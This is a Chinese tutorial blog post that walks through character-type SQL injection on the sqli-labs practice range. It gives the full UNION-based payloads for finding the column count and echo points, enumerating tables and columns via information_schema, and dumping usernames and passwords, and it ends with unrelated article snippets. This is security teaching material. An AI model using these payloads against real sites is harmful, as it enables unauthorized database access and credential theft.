当前位置: 首页 > news >正文

简单的SQL字符型注入

目录

注入类型

判断字段数

确定回显点

查找数据库名

查找数据库表名 

查询字段名

获取想要的数据 


以sqli-labs靶场上的简单SQL注入为例

注入类型

判断是数字类型还是字符类型

常见的闭合方式

?id=1'、?id=1"、?id=1')、?id=1")等,大多都是单引号、双引号、括号的组合。

先尝试下字符型输入:?id=1'and 1=1#或者?id=1'and 1=1--+

(如果是字符型,可以用#或者--+或者%23注释掉单引号)

如果?id=1没有回显,那么输入?id=1 or 1=1(数字型)那么肯定会回显,输入?id=1' or 1=1--+(字符型)也肯定会回显(过滤字符可能不是--+,也可能是别的),但是用?id=1 and 1=1,或者?id=1' and 1=1--+不一定回显

99b4d6248638416f95196bb67e0dd04e.png

再试下:?id=1' and 1=2--+ 

541f7988e63143e385c3517388ef4e3d.png

没有回显 

证明是字符型输入,

回显是指页面有数据信息返回。无回显是指根据输入的语句,页面没有任何变化或者没有数据库中的内容显示到网页中。

如果是数字型输入,那么就可以正常输入:1

如何判断是字符型还是数字型呢,有一种方法:

数字型:

  • 1 and 1=1  //能回显
  • 1 and 1=2  //不能回显

字符型:

  • 1' and 1=1#  //能回显
  • 1' and 1=2#   //不能回显

判断字段数

判断字段数 order by

分四次输入:1' and 1=1 oder by 1--+   1' and 1=1 oder by 2--+  1' and 1=1 oder by 3--+    1' and 1=1 oder by 4--+

前两次都是正常回显,第三次报错,显示没有第三列,说明只有两个字段 61430bc38607457b99919a045eeb358c.png

 

确定回显点

输入:1' and 1=1 union select 1,2,3--+

a92613936d9846a4be8f648c23b1e987.png

发现1,2,3三个数没有一个回显,

因为第一个查询语句把后面的给挡住了,所以要把第一个查询语句失效

可以输入:1' and 1=2 union select 1,2,3--+  或者-1' union select 1,2,3--+

8af68d2db4ae452ea2409da9b5439198.png

2,3的位置成功回显 。2,3都可以是注入点 

 

就是可以更改这些点对应的相对的输入位置可以得到不同的输出;

查找数据库名

输入:-1' union select 1,2,database()--+

c074e8e5d02944a5b781f5f58df6c6bd.png

 得到对应的数据库名字:security

查找数据库表名 

849da3c5efd44846912a2cc425bae928.png

 输入:-1' union select 1,2,table_name from information_schema.tables where table_schema='security'--+

fc5a70c29ad24eb2ba38ac65b691832a.png

得到表名:emails,但是在这个数据库中可能不止一个表,所以我们要得到所有表,而不只是一个emails表

输入:-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

在mysql的关联查询或子查询中,函数 group_concat(arg) 可以合并多行的某列(或多列)数据为一行,默认以逗号分隔。

所以我们可以将tables表里面的所有tables_name表名合并成一行输出 

c55d5e0d9a7d4332a16fde4f268accb8.png

 显然我们想要的是users表

查询字段名

我们会用到上面图片中的column表

输入:-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

ea6eca5c7693439697826c4bd98faa22.png 7f982a26658f4723bc8ff2000e9e8a92.png

users表下的字段数很多,显然易见,我们想要获取的只是账号密码,所以,对我们有用的是username和password字段

获取想要的数据 

输入:-1' union select 1,2,group_concat(username,'-',password) from users --+

 ceceeb0f55d746e288b39f2ca349d448.png

成功得到对应的账号密码 

 

相关文章:

简单的SQL字符型注入

目录 注入类型 判断字段数 确定回显点 查找数据库名 查找数据库表名 查询字段名 获取想要的数据 以sqli-labs靶场上的简单SQL注入为例 注入类型 判断是数字类型还是字符类型 常见的闭合方式 ?id1、?id1"、?id1)、?id1")等,大多都是单引号…...

HttpClient调用SpringBoot项目的文件上传接口实现文件上传

1.导入httpclient的jar包 这里导入了httpclient、httpmime11 <?xml version"1.0" encoding"UTF-8"?> <project xmlns"http://maven.apache.org/POM/4.0.0" xmlns:xsi"http://www.w3.org/2001/XMLSchema-instance"xsi:sch…...

[leetcode]kth-smallest-element-in-a-sorted-matrix 有序矩阵中第k小元素

. - 力扣&#xff08;LeetCode&#xff09; class Solution { public:bool check(vector<vector<int>>& matrix, int mid, int k, int n) {int i n - 1;int j 0;int num 0;while (i > 0 && j < n) {if (matrix[i][j] < mid) {num i 1;j;…...

【经典面试题】是否形成有环链表

1.环形链表oj 2. oj解法 利用快慢指针&#xff1a; /*** Definition for singly-linked list.* struct ListNode {* int val;* struct ListNode *next;* };*/typedef struct ListNode ListNode; bool hasCycle(struct ListNode *head) {ListNode* slow head, *fast…...

Flask 用 Redis 缓存键值对-实例

Flask 使用起 Redis 来简直就是手到擒来&#xff0c;比 MySQL 简单多了&#xff0c;不需要那么多配置&#xff0c;实际代码就这么多&#xff0c;直接复制就能用。除了提供简单实用的实例以外&#xff0c;本文后面还会简单介绍一下 Redis 的安装与使用&#xff0c;初学者也能一看…...

我的世界1.21多种服务端开服教程,原版/Forge/Fabric/Paper/Mohist...,Minecraft开服教程

Minecraft&#xff08;MC&#xff09;1.21版多种服务端开服教程&#xff0c;我的世界1.21服务器搭建教程&#xff0c;MC原版/Forge/Fabric/Paper/Mohist服务端搭建教程&#xff0c;我的世界MOD/插件服开服教程。 本教程使用 Linux系统MCSManager 面板来搭建Minecraft服务器。 …...

docker安装nginx并配置https

参考 docker安装nginx并配置https-腾讯云开发者社区-腾讯云 (tencent.com) 证书的生成 参见&#xff1a;SpringBoot项目配置HTTPS接口的安全访问&#xff08;openssl配置&#xff09;_配置接口访问-CSDN博客 步骤 1: 拉取Nginx镜像 docker pull nginx 好使的镜像如下&#x…...

永磁同步电机控制算法--基于 SVM 的无磁链环 DTC

永磁同步电机无磁链环 DTC 通过控制定子磁链交轴分量来直接控制转矩&#xff0c;不再要求控制磁链幅值恒定&#xff0c;省去了传统 DTC 中的磁链环&#xff0c;不仅转矩响应更快&#xff0c;有效抑制了转矩脉动&#xff0c;而且提高了电机功率因数。但无磁链环 DTC 方案仍采用传…...

如何避免在 Docker 容器中遇到 MAC 地址冲突和 IP 地址冲突的问题

在 Docker 容器中遇到 MAC 地址冲突和 IP 地址冲突的问题时&#xff0c;通常是由于 Docker 在分配网络资源时出现了一些问题。虽然这种情况并不常见&#xff0c;但仍有可能发生。以下是一些原因和可能的解决方案&#xff1a; 原因分析 Docker 版本问题&#xff1a;某些 Docke…...

arm64架构下源码编译安装kafka —— 筑梦之路

一般来说&#xff0c;直接使用官方提供的二进制文件即可&#xff0c;没有必要使用源码编译安装的方式&#xff0c;而对于有特殊用途的&#xff0c;选择源码编译安装无疑是更好地选择。比如修改源码实现想要的功能&#xff0c;mirrormaker2保持topic名称不变。 git clone https…...

LabVIEW前面板占满整个屏幕(转)

希望在运行一个LabVIEW程序时&#xff0c;它的前面板能够占据整个屏幕&#xff0c;且不显示Windows的任务栏或其他任何的LabVIEW菜单选项。怎样才能实现这一功能&#xff1f; 您可以通过手动配置或编程的方式实现该功能。 手动配置VI属性 您可以通过以下操作&#xff0c;将…...

Promise.all、any、race和allSettled的相同点与不同点与应用场景

在JavaScript中&#xff0c;Promise对象是一种处理异步操作的方式。它允许我们以一种更优雅的方式来处理异步代码&#xff0c;而不是使用回调函数。在Promise中&#xff0c;有一些方法可以帮助我们更好地管理多个Promise实例&#xff0c;这些方法包括Promise.all、Promise.any、…...

Ubuntu下如何设置程序include搜索路径及链接路径

添加库的include及lib路径 linux下系统默认路径为 /usr/include, /usr/local/include, gcc在编译程序时会按照当前目录路径->系统默认路径->系统环境变量的路径方式去查找&#xff0c;所以当我们想调用的库未安装在系统默认路径时&#xff0c;我们可以通过手动添加环境变…...

FLinkCDC引起的生产事故(二)

背景&#xff1a; 最近在做实时数据的抽取工作&#xff0c;利用FLinkCDC实时抽取目标库Oracle的数据到Doris中&#xff0c;但是在抽取的过程中&#xff0c;会导致目标库的生产库数据库非常卡顿&#xff0c;为了避免对生产环境的数据库造成影响&#xff0c;对生产环境的数据库利…...

【产品经理】WMS多仓调拨转移说明

对于仓储管理来说&#xff0c;越来越多企业开始应用WMS进行系统化的管理&#xff0c;以提升仓库的作业效率。本文作者从业务流程和基础功能两个方面展开介绍&#xff0c;希望对你有帮助。 一、业务流程 。在线下业务流程拓展&#xff0c;仓库不断增多的过程中&#xff0c;由于…...

每日一练:奇怪的TTL字段(python实现图片操作实战)

打开图片&#xff0c;只有四种数字&#xff1a;127&#xff0c;191&#xff0c;63&#xff0c;255 最大数字为255&#xff0c;想到进制转换 将其均转换为二进制&#xff1a; 发现只有前2位不一样 想着把每个数的前俩位提取出来&#xff0c;组成新的二进制&#xff0c;然后每…...

【Java开发实训】day03——方法的注意事项

目录 一、方法的基本概念 二、void和return关键字 三、单一返回点原则 四、static方法使用说明 &#x1f308;嗨&#xff01;我是Filotimo__&#x1f308;。很高兴与大家相识&#xff0c;希望我的博客能对你有所帮助。 &#x1f4a1;本文由Filotimo__✍️原创&#xff0c;首发于…...

HarmonyOS NEXT:一次开发,多端部署

寄语 这几年特别火的uni-app实现了“一次开发&#xff0c;多端使用”&#xff0c;它这个端指的是ios、安卓、各种小程序这些&#xff0c;而HarmonyOS NEXT也提出了“一次开发&#xff0c;多端部署”&#xff0c;而它这个端指的是终端设备&#xff0c;也就是我们的手机、平板、电…...

Bilibili Android一二面凉经(2024)

BiliBili Android一二面凉经(2024) 笔者作为一名双非二本毕业7年老Android, 最近面试了不少公司, 目前已告一段落, 整理一下各家的面试问题, 打算陆续发布出来, 供有缘人参考。今天给大家带来的是《BiliBili Android一二面凉经(2024)》。 面试职位: 高级Android开发工程师&…...

数据库内核研发学习之路(一)

已经上了几天班了&#xff0c;开始做一些总结性的工作。 数据库内核研发首当其中的便是环境配置&#xff0c;今天先介绍一下虚拟机之类的环境搭建&#xff0c;在之前已经写过一篇关于VMware搭建虚拟机的博客了&#xff0c;有兴趣可以去看看&#xff0c;这里我再总结一下使用Vi…...

计算机毕业设计springboot校园文化社区视频网站 基于SpringBoot的校园文化交流短视频平台 SpringBoot框架下的高校文化分享与视频互动系统

计算机毕业设计springboot校园文化社区视频网站94nso9 &#xff08;配套有源码 程序 mysql数据库 论文&#xff09;本套源码可以先看具体功能演示视频领取&#xff0c;文末有联xi 可分享在"互联网校园"理念全面渗透的今天&#xff0c;视频已成为大学生记录生活、传播…...

3大突破:重新定义Revit插件开发流程

3大突破&#xff1a;重新定义Revit插件开发流程 【免费下载链接】RevitAddInManager Revit AddinManager update .NET assemblies without restart Revit for developer. 项目地址: https://gitcode.com/gh_mirrors/re/RevitAddInManager 引言&#xff1a;Revit插件开发…...

提示工程架构师实战手册:2025年基于最新趋势的AI项目设计指南

提示工程架构师实战手册&#xff1a;2025年基于最新趋势的AI项目设计指南 1. 引入与连接&#xff1a;从“写Prompt”到“设计提示系统”的认知跃迁 1.1 一个真实的AI项目痛点 2024年底&#xff0c;某头部电商公司的智能客服项目陷入瓶颈&#xff1a; 用户发“这件衣服洗了会缩水…...

PySide6商业项目避坑指南:从许可证验证到Qt Designer实战

PySide6商业项目避坑指南&#xff1a;从许可证合规到UI开发实战 当企业开发者选择PySide6作为桌面应用开发框架时&#xff0c;往往会被其商业友好的LGPL许可证所吸引。但真正落地到项目开发中&#xff0c;从法律合规到技术实现都存在诸多需要特别注意的细节。本文将深入剖析那些…...

Qwen3.5-4B-Claude-Opus惊艳效果:编译原理词法分析器状态转换图生成

Qwen3.5-4B-Claude-Opus惊艳效果&#xff1a;编译原理词法分析器状态转换图生成 1. 模型能力展示&#xff1a;从代码到状态转换图 Qwen3.5-4B-Claude-4.6-Opus-Reasoning-Distilled-GGUF模型在编译原理领域展现了令人惊艳的代码理解与可视化能力。当输入词法分析器代码时&…...

粒子追踪模拟单透镜聚焦comsol ansys Fluent 二维三维模型 仿真模型,文献复现

粒子追踪模拟单透镜聚焦comsol ansys Fluent 二维三维模型 仿真模型&#xff0c;文献复现&#xff0c;热湿传递在实验室折腾粒子追踪仿真的时候&#xff0c;最让人上头的莫过于单透镜聚焦的场景搭建。COMSOL和ANSYS这对冤家各有各的脾气——前者把物理场耦合玩出花&#xff0…...

HunyuanVideo-Foley效果展示:AI生成ASMR触发音、白噪音与专注背景音

HunyuanVideo-Foley效果展示&#xff1a;AI生成ASMR触发音、白噪音与专注背景音 1. 核心能力概览 HunyuanVideo-Foley是一款专为音效生成优化的AI模型&#xff0c;能够根据文字描述自动生成高质量的音频内容。基于RTX 4090D 24GB显存深度优化&#xff0c;该镜像提供了开箱即用…...

Finalshell连接失败?排查SSH登录密码问题的终极指南

1. Finalshell连接失败的常见原因 当你使用Finalshell连接远程服务器时&#xff0c;遇到反复提示输入密码却无法连接的情况&#xff0c;这可能是由多种因素导致的。作为一个经常需要远程管理服务器的开发者&#xff0c;我遇到过太多次这种情况了。每次看到那个不断弹出的密码输…...

Trelby:释放创意生产力的剧本创作解决方案

Trelby&#xff1a;释放创意生产力的剧本创作解决方案 【免费下载链接】trelby The free, multiplatform, feature-rich screenwriting program! 项目地址: https://gitcode.com/gh_mirrors/tr/trelby 当格式规范不再成为创作的枷锁&#xff0c;编剧如何重获灵感自由&am…...

基于ZLMediaKit API的Java流媒体服务实战:从配置到核心功能封装

1. ZLMediaKit快速入门与环境搭建 第一次接触ZLMediaKit时&#xff0c;我被它的轻量级和高性能所吸引。作为一款开源的流媒体服务器&#xff0c;它支持RTSP、RTMP、HLS等多种协议&#xff0c;特别适合中小型视频项目的快速部署。记得当时为了测试性能&#xff0c;我在一台2核4G…...